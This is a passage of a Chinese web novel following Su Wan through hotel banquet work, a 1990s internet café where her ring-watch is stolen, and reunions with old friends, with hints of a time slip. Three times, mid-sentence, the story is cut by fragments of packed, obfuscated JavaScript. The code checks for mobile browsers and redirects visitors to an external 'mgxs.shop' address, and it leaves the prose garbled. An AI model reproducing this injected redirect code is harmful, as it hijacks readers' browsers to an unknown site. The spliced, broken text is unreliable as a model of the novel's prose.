苏晚把碗端起来,扒了一口饭,嚼完咽下去。 “谢谢。” “谢谢是什么意思?”林栖把排骨骨头吐出来,搁在碟子边上,筷子架在碗沿上,“去不去?” 苏晚夹了一块豆腐,放在碗里,用筷子戳开,白色的豆腐混进米饭里,分不清哪是哪。 “最近忙。” “你哪天不忙?”林栖靠在椅背上,双手抱在胸前,“你从五一就开始忙,忙到现在。你们酒店是不是就你一个员工?” 苏晚笑了一下,把豆腐和米饭一起扒进嘴里,没接话。 林栖看着她,看了一会儿,叹了口气。她伸手把苏晚面前那碟红烧肉往她那边推了推,又把汤碗挪到她手边。 “行吧。我跟妈说你在忙。” “嗯。” “但你不能一直忙。”林栖拿起筷子,又夹了一块排骨,咬了一口,含糊不清地说,“有个人可以说说话,也是好的。” 苏晚没说话,把碗里的饭吃完,放下筷子,拿起汤勺舀了一碗汤。紫菜蛋花汤,蛋花打得碎碎的,紫菜泡得发软,浮在汤面上,一团一团的。 林栖见她不说话,也没再追问,换了个话题,说起她老公单位的事,说起他们新买的那个房子装修到什么进度了,说起瓷砖的颜色选了好久还没定下来。苏晚听着,偶尔嗯一声,把汤喝完,拿纸巾擦了擦嘴。 两个人从馆子里出来,站在街边。路灯亮着,橘黄色的光铺在人行道上,把两个人的影子拉成一长一短。林栖把手插进口袋里,肩膀缩了一下,说有点凉。苏晚把外套拉链往上拉了拉,没说话。 “那我走了。”林栖往左走了两步,又停下来,回过头,“你那个相亲的事,我再帮你留意着。有合适的还是去看看。” 苏晚点了点头。 “走了。” “嗯。” 林栖转过身,步子快,鞋底踩在人行道上嗒嗒响,走了一段路,拐进巷子里,看不见了。苏晚站在路灯下面,把手插进口袋里,手指摸到那个十字绣荷包,边角磨得发毛,拉链头上的红绳系着一个小结。她攥了一下,松开,往公交站走。 公交车来了,她上去,找了个靠窗的位置坐下。车子晃晃悠悠地开着,窗外的街景往后退。经过那家酒店的时候,她看了一眼。宴会厅的灯还亮着,透过落地窗能看见里面的花柱和纱幔,有人在收拾桌椅。 她想起上周那场婚宴。酒席还没散场,热菜上了四五道,桌上已经摆满了盘子,碟子摞碟子,筷子架在碗沿上。新娘换了第二套礼服,红色的旗袍,裙摆收窄,走路只能迈小步。新郎的母亲坐在主桌上,旁边是她娘家几个亲戚,有人给她敬酒,她端着杯子站起来,喝了一口,坐下。 苏晚端着托盘从主桌旁边经过,托盘上是刚撤下来的骨碟,堆着鱼骨头和虾壳。她放慢脚步,侧身从椅子之间穿过去,听见新郎的母亲压低了声音,凑在新郎耳边说了一句话。 “那个敬茶的姿势,你看看,哪有人那样敬茶的?手指翘成那样,像什么话。” 新郎低着头,夹了一块菜放进嘴里,嚼了两下,没接话。他母亲又凑近了一些,声音更低了,但苏晚离得近,还是听见了——“你爸请了多少人来看,她就给人看这个?” 苏晚把托盘换了个手,快步走到传菜口,把骨碟倒进回收筐里,碟子碰着碟子,哗啦一声,盖住了后面的声音。她站在传菜口,手里攥着托盘,站了两秒,然后转身回去继续收桌子。 那场婚宴结束的时候,苏晚在电梯口遇见了新娘。她已经换了便装,一件宽大的卫衣,牛仔裤,平底鞋,头发散下来,披在肩膀上。脸上的妆还没卸,眼影是金色的,亮片在灯光下一闪一闪的。她站在电梯门口,低着头看手机,大拇指在屏幕上划了两下,又按灭了。电梯来了,她走进去,门关上的时候,苏晚看见她抬起头,对着电梯里的镜子看了一眼,嘴角往下撇了撇,又抿住了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437426|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >电梯门合上了,数字一格一格往下跳。 苏晚站在走廊里,手里拎着一袋要送到库房的桌布,布袋子很沉,压得她的手指发白。她把袋子换到另一只手,往库房走。 又过了几个星期,苏晚在餐厅加班的时候,遇见林栖了。 那天是周六,中午有一场婚宴,苏晚被安排在宴会厅帮忙。她端着托盘从传菜口出来,走到靠窗那一排桌子,把凉菜拼盘一桌一桌地放上去。摆到第三桌的时候,她抬头,看见林栖坐在隔壁桌。 林栖穿着一件浅粉色的外套,头发烫过,卷卷的披在肩膀上,正跟旁边一个年纪相仿的女人说话。她手里端着一杯茶,杯盖掀开一半,吹了吹,抿了一口。苏晚站在那桌旁边,愣了一下,手里的盘子悬在半空。 林栖也看见她了。她的眼睛亮了一下,嘴角翘起来,把茶杯放下,冲她招手。 “晚晚!” 苏晚把盘子放到桌上,走过去。林栖从椅子上站起来,拉着她的胳膊,上下看了她一眼。 “你怎么在这儿?” “加班。”苏晚把手从她胳膊里抽出来,往后退了一步,侧了侧身子,挡住旁边那桌客人看过来的目光。 “我表妹结婚。”林栖指了指台上那对新人,又转回来看着她,“早知道你在这儿,我就提前跟你说了。” 苏晚笑了一下,把手里的托盘换了个方向。“我还在上班。” “我知道我知道。”林栖松开她的胳膊,坐回去,又探着身子凑过来,压低声音,“你几点下班?晚上一起吃饭?” “不知道。可能要到撤场。” “那我等你。” “别等了,不知道几点。” 林栖看了她一眼,嘴唇动了动,想说什么,旁边那个女人喊了她一声,她应了一句,转回头冲苏晚挥了挥手。 “那你忙完了给我打电话。” “好。” 苏晚转身走了。她走到工作台前,把托盘放好,从推车上拿起下一盘菜,继续往桌上摆。走到林栖那桌旁边的时候,她放慢脚步,把菜放在转盘上,转了一下,让菜转到林栖那边。林栖正在跟旁边的人说话,没注意到,苏晚看了一眼她的侧脸,转身走了。 小朱从后面跟上来,手里端着一盘清蒸鲈鱼,用胳膊肘碰了碰她。 “那桌有你熟人?” “朋友。” “你怎么还过去打招呼?”小朱压低声音,眼睛往林栖那桌扫了一眼,“这种时候,能避就避。万一人家叫你坐下来喝一杯,你走还是不走?领导看见了,又要说。” 苏晚没说话,把手里的托盘搁在架子上,去端下一盘菜。 后来她又路过林栖那桌好几次。第一次是上热菜,她端着盘子上来,林栖正在跟旁边的人碰杯,没看见她。第二次是换骨碟,她把旧碟子撤下来,换上新的,林栖在跟表妹说话,笑着,拍着表妹的手背。第三次是加茶水,她拎着茶壶走过来,林栖正好抬头,冲她挤了一下眼睛。苏晚把茶倒上,壶嘴对着杯沿,水线细细的,没溅出来。 倒完茶,她拎着壶走了。走到传菜口的时候,回头看了一眼。林栖正端着她倒的那杯茶,吹了吹,喝了一口,跟旁边的人说了句什么,笑了一下。 苏晚转回头,把茶壶放在架子上,拿起托盘,继续干活。 那场婚宴散场的时候。苏晚在宴会厅里收桌子,把桌布扯下来,团成一团,塞进布草车里。车轱辘碾在地毯上,闷闷的,推起来费劲。她推着车走到走廊尽头,拐进库房,把桌布扔进待洗的筐里。出来的时候,手机在口袋里震了一下。 她掏出来看。林栖发的短信——“我先走了啊。你在忙,没叫你。再忙也得好好吃饭。再约。” 苏晚把手机摁灭了,揣回口袋里。 走廊里很安静,地毯吸掉了脚步声,只有头顶的灯管嗡嗡地响着,白花花的光铺下来,把走廊照得发白。她站在库房门口,靠着墙,站了一会儿。对面墙上挂着一幅画,是酒店的装饰画,印着一束花,装在玻璃框里,玻璃上蒙着一层灰。她盯着那幅画看了几秒,直起身,往宴会厅走。 宴会厅里已经没什么人了。布置现场的人来人往在拆花柱,把花从架子上拔下来,扔进大垃圾袋里。玫瑰的花瓣有些已经蔫了,边角发黑,落在地上,被踩成泥。小朱蹲在地上,把那些还能用的花挑出来,装在另一个袋子里,说是带回家插瓶。她抬起头,看见苏晚,冲她招了招手。 “过来帮忙。” 苏晚从墙角拿了一把扫帚,走过去,把地上的残花和碎叶扫成一堆。小朱把袋子扎紧,站起来,拍了拍膝盖上的灰,看着越来越空旷的宴会大厅。 “可惜了。”她说,“早上还好好的。” 苏晚没说话,把扫帚靠在墙边,看着那堆黑色的垃圾袋,鼓鼓囊囊的,袋口扎了一半。花柱拆完了,拱门也拆了,只剩下舞台背景那面花墙还没动。几个工人站在梯子上,把花一朵一朵往下扯,扯下来的扔进下面的筐里。花瓣从空中飘下来,落在红色的地毯上,粉的,白的,混在一起。 苏晚站在门口,看了一会儿,转身去拿下一袋桌布。 61. 《橡皮擦 戒指表》 苏晚从派出所出来以后,开始休息在家。 每天睡了吃,吃了睡。早上醒来,阳光从窗帘缝隙里漏进来,落在床尾,一小块。她翻了个身,把脸埋进枕头里,又睡过去。再醒来的时候,那块阳光已经挪到了墙上。她盯着那道光看了一会儿,光从白色变成淡黄,又从淡黄变成橘色,慢慢往上爬,爬到墙角,消失。 那天她醒来的时候,阳光还在床尾,没有挪到墙上。她躺着,盯着天花板,天花板上那道裂纹还在,从灯座延伸到墙角,白天看不见,但现在是白天,她看见了。她坐起来,后背靠着床头,枕头歪到一边。她伸手把枕头拉正,手指在枕套的边角上按了按,又松开。 今天无论如何也睡不着了。 她从床上下来,脚踩在地板上,凉凉的。站了一会儿,弯腰把拖鞋穿上,走到窗边,把窗帘拉开。阳光涌进来,刺得她眯了一下眼睛。对面那栋楼的阳台上晾着几件衣服,一件白色的衬衫被风吹起来,袖子鼓着,像一个人张开胳膊。 她看了一会儿,转过身,开始收拾房间。 房间不大,一张床,一个衣柜,一张书桌,一把椅子。东西不多,但住了几年,零零碎碎地堆了不少。她把衣柜打开,把那些不穿的衣服从衣架上取下来,叠好,装进袋子里。两件起球的毛衣,一条洗得发白的牛仔裤,一件领口松了的T恤。叠到第三件的时候,她停下来,把衣服展开,看了一眼,又叠回去,塞进袋子。 书桌是最后收拾的。书桌上摊着几本书,最上面那本翻到一半,书脊压出一道白印。她把书摞起来,放到一边,又从抽屉里翻出一块抹布,开始擦桌面。桌面上有一滩水渍,大概是杯子放过的地方,干了之后留下一圈印子。她用抹布擦了两遍,印子淡了,但没完全掉。她把抹布搭在椅背上,拉开抽屉。 抽屉里的东西不多。几支笔,一个本子,几根充电线缠在一起,还有一个铁皮盒子。 那个盒子躺在抽屉的角落里,靠左边,挨着抽屉的侧板。盒子是铁皮的,天蓝色,上面印着一只白色的小猫,小猫的胡须已经磨没了,只剩下几道浅浅的印子。盒盖的边缘有一道锈迹,褐色的,从边角往里渗,渗了半个指甲盖那么大。 她把盒子拿出来,在手里掂了掂,轻飘飘的,里面的东西在盒底滚了一下,磕在铁皮上,叮的一声。 她打开盒盖。 里面躺着一块橡皮擦。只剩三分之一。 橡皮擦的边缘磨圆了,表面坑坑洼洼的,有些地方还有铅笔划过的黑印子,一道一道的,有的深,有的浅。翻过来,另一面有一个指甲掐的印,掐进去一小块,指甲的弧度还在,像一个月牙。苏晚把橡皮擦捏在手指间,翻过来,翻过去,看了很久。她的拇指按在那个指甲印上,按进去,刚好,像是按在一个模子里。 她想起这个盒子。是当年搬家的时候带过来的,从坡上那栋筒子楼,搬到后来的房子,又从后来的房子搬到这里。什么时候搬的?她记不太清了。大概是1998年年底,或者1999年年初,筒子楼拆迁,那些邻居一家一家搬走了,她家也搬了。搬的时候东西不多,几个箱子,一袋一袋地装,这个铅笔盒混在杂物里,被她塞进一个纸箱子里,后来就一直在抽屉里。 这是她小时候的铅笔盒。四年级的时候用的。她还记得这块橡皮擦是新的,白色的,四四方方,棱角分明,皮面上印着红色的“2B”两个字。那天上课前,她把橡皮擦从铅笔盒里拿出来,放在桌角。下课的时候,它变成了三分之一。她不记得自己用过了,不记得借给谁了,不记得掉在地上被踩过了。就是想不起来。一节课,四十分钟,一块新橡皮擦,变成了一小块。她当时盯着那块橡皮擦想了很久,想不通,就没再想了。 现在她拿着这块橡皮擦,还是想不通。 头有点晕。不是那种天旋地转的晕,是那种从后脑勺慢慢往前漫的晕,像水从杯子里溢出来,漫到太阳穴,漫到眼眶后面。她把橡皮擦放回盒子里,把盒盖扣上,按了一下,卡住了,放回抽屉里,推到最里面。抽屉关上的时候发出一声闷响,木头碰着木头,沉沉的。 她把桌上的东西归置好,书摞整齐,笔插进笔筒里,抹布叠好放在窗台上。又去厨房把碗洗了,把灶台上的油渍擦干净,垃圾桶里的垃圾袋扎好口,放在门口。地板拖了一遍,拖把拧干靠在卫生间门后。做完这些,她站在客厅中间,环顾了一圈。窗明几净,东西归位,空气里有一股洗洁精和地板蜡混在一起的味道。 她随便扒拉了几口饭,把碗放进水池里,没洗,又躺回床上。 窗帘拉上了,光被挡在外面,屋里暗下来。她翻了个身,面朝墙。墙上什么都没有,白漆刷的,刷得不太匀,有一道一道的刷痕,竖着的,从上面一直到底。她盯着那些刷痕看了一会儿,眼皮越来越沉,沉下去,又浮上来,又沉下去。 再醒来的时候,阳光从窗帘的缝隙里漏进来,细细的一条,落在床尾。她分不清是上午还是下午,也分不清是今天还是明天。手机在枕头旁边,她拿起来看了一眼,屏幕亮了,显示下午两点十七分。她摁灭了,放回去。 她躺着,盯着天花板。天花板上那道裂纹还在,从灯座延伸到墙角。她盯着它,看它慢慢变粗,变长,又缩回去。窗外有小孩在跑,喊了一声什么,听不清。远处有车经过,发动机的声音由远及近,又远了。 不知道过了多久,门口有脚步声。她没动。脚步声停了一下,又响起来,走到她门口,停住了。 父亲站在房门口。 他站在那里多久了?不知道。她就那么躺着,面朝天花板,余光里能看见他的影子,投在地板上,被门框切掉一半。他的手搭在门框上,手指微微蜷着,指甲剪得很短。 “你这个样子,”他说,声音不高,像是怕惊着什么,“都维持半个月了。不好。” 苏晚没说话。 她侧过头,看着窗外。窗帘没拉严,能看见一小块天空,灰白色的,没有云,也没有鸟。她看了很久。 “爸爸,”她说,“我想出门走一走。” 父亲没说话。她听见他的脚步声从门口走开,拖鞋蹭着地板,沙沙的,走了几步,停了。过了一会儿,又走回来,在门口站了一下,然后走了。这回走远了,厨房那边传来水龙头打开的声音,哗哗的,又关了。 高铁站。 高铁站很大,穹顶很高,钢架结构撑出一个巨大的空间,阳光从玻璃顶棚上透进来,在地砖上投下一块一块的光斑,亮的地方刺眼,暗的地方发灰。进站口排着队,人挤着人,行李箱的轮子碾在地砖上,咕噜咕噜响,有人拎着袋子,袋口敞着,露出几盒土特产。苏晚站在队伍中间,把身份证攥在手心里,塑料壳的边角硌着掌心,有点疼。 过了安检,上了电梯,到候车室。候车室更大,一排一排的椅子从这头排到那头,银灰色的,坐垫上有浅浅的凹痕,是被人坐久了的痕迹。大多数人低着头看手机,屏幕的光照在脸上,白惨惨的。有人靠着椅背睡着了,嘴巴微微张着,呼吸声从喉咙里挤出来,细细的。苏晚找了个靠边的位置坐下来,把包放在膝盖上,手搭在包带上。 “请乘坐G1374次列车的旅客到A9检票口检票上车……”广播响了,女播音员的声音在穹顶下面回荡,嗡嗡的,一个字一个字地往外蹦,念完一遍又念一遍。苏晚站起来,跟着人群往检票口走。队伍排得很长,弯弯曲曲的,有人伸着脖子往前看,有人低头翻包找身份证。苏晚把身份证捏在手里,拇指按在照片上,她的脸,头发扎着,表情有点僵,但眼睛是亮的。 检票,过闸机,下电梯,站台在下面。风从隧道里灌进来,凉飕飕的,带着一股铁锈和机油混在一起的气味,闷闷的。站台上站着人,拖着箱子,背着包,站在黄线后面,伸着脖子往隧道里看。远处的轨道上有一束光,越来越亮,越来越大,车头从隧道里钻出来,带起一阵风,把站台上的人的头发吹起来,有人伸手按住,有人眯起眼睛。 车门开了,苏晚走进去,找到靠窗的位置,坐下来。过道里有人在放行李,箱子举到行李架上,推到底,又拉出来,换个方向,再推到底。有人从她旁边经过,背包蹭着她的肩膀,她往窗户那边缩了缩。 动车启动的时候,车身轻轻晃了一下,然后平稳了。窗外的站台开始往后退,退得很慢,然后越来越快,站台上的人看不清脸了,站牌看不清字了,铁轨变成一道一道的线,从车窗底下划过去。城市开始往后退——那些楼,那些广告牌,那些从楼缝里露出来的天空,一格一格地往后退,退到后面,变成模糊的一片。 苏晚靠在椅背上,头歪向窗户。窗外的风景在变,房子变矮了,楼变少了,田多起来,一块一块的,黄的和绿的拼在一起,像谁把颜料倒在画布上,没抹匀。电线杆一根一根地从窗外闪过去,上面的电线从这根荡到那根,荡出弧线,一起一伏的。 她的眼皮越来越沉。窗外的光从她脸上滑过去,亮一下,暗一下,亮一下,暗一下。她闭上眼睛。 …… “结账。” 苏晚愣了一下。她站在收银台里面,手里攥着一张网卡,卡的边角是蓝色的,印着“飞飞网吧”四个字,字迹有点模糊,磨得看不清了。她把网卡递出去,准备递给柜台外面的男生。 男生站在收银台前面,穿着一件深色的外套,拉链拉到胸口,背着个双肩包,包带勒得很紧,肩膀上的衣服皱成一团。他没看苏晚,目光落在收银台上那排饮料瓶子上,手指在台面上敲了两下,不耐烦的。 苏晚的目光落在他手上——准确地说,是落在她的左手上。她自己的手。食指上戴着一只戒指表,银色的,表盘小小的,镶着一圈假钻,表带细得像根铁丝,扣在手指上,勒出一道浅浅的红印。她把那只手举到眼前看了看,翻过来,又翻过去。表盘上指针在动,秒针一格一格地跳,走得稳稳的。 “结账快点,我要赶车。”男生开口了,声音从喉咙里挤出来,硬邦邦的,像扔过来的石子。 “哦哦哦。”苏晚反应过来,手指在键盘上敲了两下,屏幕上跳出一行数字,“十五块。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437427|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 男生从口袋里掏出一张二十的,拍在柜台上,纸币皱巴巴的,边角卷起来。苏晚接过来,打开抽屉,翻出五块钱,递过去。男生接过钱,塞进口袋里,转身走了,步子大,走得快,推开门的时候门上的铃铛响了一声。 苏晚站在收银台后面,低下头,又看了一眼自己手上的戒指表。银色的表盘,在日光灯下反着光,假钻一颗一颗地闪。她用手指摸了摸表盘,玻璃面的,凉凉的,光滑的。 她把手缩回来,绕出收银台,转身走进里屋。里屋不大,十几台台式电脑摆在大厅里,一排一排的,屏幕朝外,机箱在桌子底下嗡嗡地转着。有人戴着耳机打游戏,键盘噼里啪啦响,屏幕上的画面闪得很快,花花绿绿的。有人在聊天室聊天,绿色的字一行一行往上跳,他盯着屏幕,手指在键盘上敲几下,停下来,等一会儿,再敲几下。靠窗那台机器空着,屏幕是蓝色的屏保,一条线在上面走来走去,从左边走到右边,又从右边走到左边。 苏晚站在门口,看着那排电脑。机箱的嗡嗡声从里面传出来,混着风扇的转动声,闷闷的,像远处有人在说话。窗帘拉着,光从缝隙里漏进来,落在键盘上,一格一格的。 有人从她身边经过,肩膀碰了她一下,她往旁边让了让。那人走到一台机器前坐下来,把包搁在桌上,按下开机键。屏幕亮了,Windows98的桌面,蓝天绿草,光标在屏幕中间闪。 苏晚转过身,走回收银台后面。她坐下来,椅子是转椅,皮面破了,露出里面的海绵,坐上去陷下去一块。 她把戒指表从手指上摘下来,放在桌上,表盘朝上,指针还在走,秒针一格一格地跳。她盯着那只表,盯了一会儿。窗外暗下来了,路灯的光从窗帘缝隙里挤进来,落在收银台上,落在键盘上,落在那只戒指表上,表盘上的假钻闪了一下,又暗了。她把表拿起来,套回手指上,扣好。抽屉里有一摞网卡,蓝色的,印着“飞飞网吧”四个字,她顺手拿了一张,搁在手边。 “退卡,”一个男生从大厅走出来。他走到收银台前面,胳膊肘撑在台面上,身子往前倾,目光从苏晚脸上扫过去,落在她手上。 “这表挺好看。”男生指着苏晚的戒指表,“哪儿买的?” “朋友帮购的,”苏晚把手缩回来,戒指表不小心磕在收银台边上,叮的一声。““不记得了。” “能摘下来让我看看吗?”他靠在收银台上,手指在台面上叩了两下,目光还落在她手上。 苏晚看了他一眼。他脸上带着笑,眼睛亮亮的,说话的时候身子往前探,像是在跟熟人聊天。她犹豫了一下,把戒指表从手指上褪下来,递过去。男生接过来,托在手心里,翻过来看了看背面,又翻回去,拇指在表盘上蹭了一下。 “挺亮的。” “嗯。” 男生点点头,把戒指表攥在手心里,从收银台上直起身来。苏晚伸出手,等着他还回来。男生看着她,嘴角翘了一下,往后退了一步。 “谢了啊。” 他转身就走。步子快,推开门的时候门上的铃铛猛地响了一声,又撞在门框上,弹回来,嗡嗡的。 苏晚愣了一秒,从收银台后面绕出来,追了两步。“哎——” 门还在晃,玻璃上映着外面的路灯,黄黄的,一晃一晃的。她推开门,站在门口。街上的路灯亮着,人行道上有人走过,慢悠悠的,拎着塑料袋,袋口露出一把芹菜。那个男生已经跑出去十几米了,手里的戒指表在路灯下闪了一下,他拐进巷子口,不见了。 苏晚往前追了几步,脚踩在人行道上,鞋底磕在地砖的缝隙里,身子晃了一下。头开始晕,太阳穴那里一跳一跳的,眼前的街灯晃成一道一道的光,黄的白的混在一起,分不清。她停下来,手撑着路灯杆子,掌心贴着铁皮,凉的。喘了几口气,抬起头,巷子口空空的,什么也没有。风吹过来,把地上的落叶卷起来,蹭着她的鞋边,又滚远了。 她站在路灯下面,站了一会儿。手指上空空的,戒指表勒出来的那道红印还在,浅浅的一圈,在路灯底下看不太清。她把手插进口袋里,转过身,往回走。推开门的时候,铃铛又响了一声,轻轻的,不像刚才那么急。 她走回收银台后面,坐下来。她把手从口袋里抽出来,放在桌上,看了看自己的手指。光秃秃的,什么也没有。她把那只手握成拳头,又松开,搁在膝盖上。 过了一会儿,她从抽屉里重新拿了一张网卡,搁在手边。门上的铃铛又响了,有人走进来,步子拖沓,鞋底蹭着地砖,沙沙的。苏晚抬起头,手指搭在键盘上。 “上网?” 那人点点头,递过来十块钱。苏晚接过钱,把网卡递过去,找零,记时。动作很快,手指在键盘上敲了两下,屏幕上的数字跳了一下,稳住了。那人拿了网卡走了,脚步声往里面去,越来越远,被机箱的嗡嗡声盖住了。 苏晚靠在椅背上,盯着收银台面上那道被戒指表磕出来的印子。浅浅的,不仔细看看不出来。她用手指摸了摸,光滑的,什么也摸不到。 62. 历史不可改变 网吧老板在收银台边上放了一台电脑,说是给员工自己用的。纯平显示器,机箱安静地蹲在桌子底下,风扇转起来只有很轻的嗡嗡声。苏晚没什么别的爱好,不打游戏,不上聊天室,就想着看看电视剧。常来上网的一个顾客跟她熟了,那人网名叫“清风”,每次来都坐靠窗那台机器。他知道苏晚喜欢看港剧,就把自己的视频网站会员账号告诉她,说反正他也是一个人用,你拿去登,不浪费。苏晚记下账号密码,每天有空了就打开网站,在片库里翻港剧看。 最近她正在看《隔世追凶》。郭晋安演的,讲父子两代人通过一部旧电话跨时空合作破案。她追了有一个多星期了,每天看两集,看到关键处就卡住,第二天急急忙忙来接着看。网站的播放器很干净,画面流畅,右下角有个小小的logo,她不记得是什么平台了,只记得页面是深色的,左边一列剧名,右边是播放框。 今天刚好看到第14集。剧情正演到高潮。男主角通过那部旧电话改变了过去的事,回到现在发现一切都变了——身边的人不再是原来那个人,记忆里的那些事好像从来没发生过。他站在街头,看着眼前陌生的街景,脸上的表情又茫然又恐惧。 苏晚盯着屏幕,手指停在键盘上。“不能改变历史的设定。”蝴蝶效应。改变一点点,后面全变了。她还没来得及细想这句话,门口的铃铛响了。 她回过头。门被推开,一个女生站在门口,穿着一件红色的连帽外套,帽子没戴,头发扎成马尾,脸被太阳晒得有点红,手里拎着一个塑料袋,袋子里装着几瓶水和一袋面包。苏晚愣了一下。皮球站在门垫上,正往里走,步子跨得不大,鞋底蹭着地砖,沙沙的。她也看见苏晚了,脚步慢了一下,停在收银台前面,手搭在台面上,手指在边沿上蹭了蹭。 “好久不见。”苏晚先开口,嘴角往上牵了一下,牵到一半又收了回去。她从椅子上站起来,椅子转了一下,皮面吱呀一声。 皮球看着她,目光在她脸上停了两秒,然后笑了一下。那笑不是从嘴角开始的,是从眼睛开始的,眼底先亮了一下,然后嘴角才跟着翘起来。“你也回来了?” 苏晚点点头,手在裤子上蹭了一下,蹭掉手心里的汗。“外婆身体抱恙,回来看看。顺便做份兼职,赚点生活费。”她指了指收银台后面那台电脑,屏幕上还停在《隔世追凶》的画面,男主角站在街头,表情茫然。 皮球顺着她的手指看了一眼,又转回来。 “你们还好?”苏晚问。她没敢多问云曦的事,话到嘴边打了个转,又咽回去了。皮球大概是猜到了,她把塑料袋放在收银台上,手插进口袋里,肩膀缩了一下。“我们一起回来了,还回酒店工作了。” “果果回老家了。”她顿了一下,“云曦今天放假,回家休息了,过两天再回来。” 苏晚哦了一声,低下头,从抽屉里拿出一张网卡,蓝色的,印着“飞飞网吧”四个字。她把卡递过去,皮球接过来,手指在卡面上弹了一下,看了苏晚一眼。苏晚没抬头,手指在键盘上敲了两下,屏幕上跳出一行数字。皮球拿着卡,站了两秒,转身往大厅里走了。苏晚看着她的背影——红色的外套,马尾在肩膀上一晃一晃的,走到靠墙那排机器前坐下来,把卡插进读卡器里,屏幕亮了。她坐了一会儿,把耳机戴上,头靠在椅背上,没动。 苏晚把目光收回来,坐回收银台后面。 她靠在椅背上,想起上海那间出租屋。后来她说了想回家,云曦把拖鞋扔过来,砸在门框上。皮球拉住云曦,果果站在走廊上,眼睛瞪得圆圆的。她走了,拖着那个红色的箱子,轮子磨在地上,咕噜咕噜响。巷子口拐弯的时候,她回头看了一眼那扇窗户,窗帘拉着,一动不动。现在她们都回来了。皮球坐在大厅里上网,云曦过两天回来,果果回老家了。散的散了,回来的回来了。 屏幕上《隔世追凶》还在放着,天光已经不在街上了,他和他爸爸正通着电话。声音从音箱里传出来,稳稳的。 “一切都变了,但父子俩的情况没有改变,天光不再感到无助。”她在心里想着。 她把播放器暂停了,画面定住。 她低头看了一眼自己的左手。食指上光秃秃的,什么都没有。她盯着那根手指看了两秒,那道浅浅的红印早就不在了。但她总觉得那里应该有个什么东西,银色的,小小的,戴了很久,指根勒出一道痕。 她的戒指表,是有什么影响? 头忽然疼了一下,太阳穴那里一跳一跳的,眼前的东西有点晃。她闭了一下眼睛,再睁开,好了。 苏晚把播放器关掉,屏幕暗下去,变成一小块黑色的玻璃。她靠在椅背上,盯着那块黑色的屏幕,看了一会儿。屏幕里映出她自己的脸,模模糊糊的,看不清表情。 三天后 苏晚在收银台后面清点物资。蹲在地上把饮料从臬子里往外掏,一瓶瓶码进桌底的格子里。康师傅纯净水,统一冰红茶,健力宝,旭日升冰茶。她把数字记在板子上,站起来,膝盖响了一声。 门上的铃铛响了。 苏晚没抬头,手里还攥着那瓶刚码好的矿泉水,把它塞进格子里,推到底。“欢迎光临。”她说完,把货架最外面那排方便面理了理,盒子对齐,印着“红烧牛肉面”的那面朝外。理完最后一盒,她站起来,转过身。 云曦站在收银台前面。 她穿着一件白色的外套,拉链拉到胸口,里面是件黑色的高领毛衣,头发比去年长了,披在肩膀上,发尾有点分叉。她没背包,手里攥着几张零钱,手指蜷着,钱被攥得皱巴巴的。她站在那儿,没动,看着苏晚。苏晚也没动,手扶着货架,手指按在方便面的纸盒上,按出一个小凹坑。 两个人隔着收银台,对视了两秒。那个画面有点熟悉。熟悉到苏晚觉得这不是第一次。她好像曾经也这样站在某个地方,对面站着一个人,空气里也是这种说不上来的安静。但她想不起来是什么时候了。 “好久不见。”云曦先开口了。声音不高,平平的,像在说今天天气不错。她把手里那几张零钱放在收银台上,手指在纸币上按了一下,抚平那道折痕。“听皮球说你回来了,就来找你了。” 苏晚从货架后面绕出来,走到收银台前面。她张了张嘴,想说什么,没说出来。云曦看着她,没催,手插进口袋里,肩膀微微晃了一下,像是不太自在,又像是在等她。 “好久不见。”苏晚说。声音有点干,喉咙里像堵着什么东西,咽了一下才说出来。 云曦点了点头,把收银台上那几张零钱往前推了推。“开张卡。” 苏晚低下头,拉开抽屉,从里面拿出一张网卡,蓝色的,印着“飞飞网吧”四个字。她把卡放在柜台上,手指按着卡面,推过去。云曦接过来,攥在手心里,卡边硌着掌心,她翻过来看了一眼,又翻回去。 苏晚的手指在键盘上敲了两下,屏幕上跳出一行数字。她看了一眼,又敲了一下,数字跳了一下,稳住了。 云曦拿着卡,转过身,往大厅的方向走了两步。走了两步,停下来。她站在收银台和大厅之间的过道上,背对着苏晚,肩膀微微绷着。苏晚看着她,手指停在键盘上,没动。 云曦转过身来。 “我妈给我介绍了个对象,”她说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437428|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音比刚才高了一点,像是在说一件早就想好了要说的事,“下个月我要结婚了。你有空来?” 苏晚愣了一下。手指从键盘上抬起来,悬在半空,过了两秒才放下来。“好。”她说。声音很轻,像是从喉咙里挤出来的,说完又点了点头,点了两下。 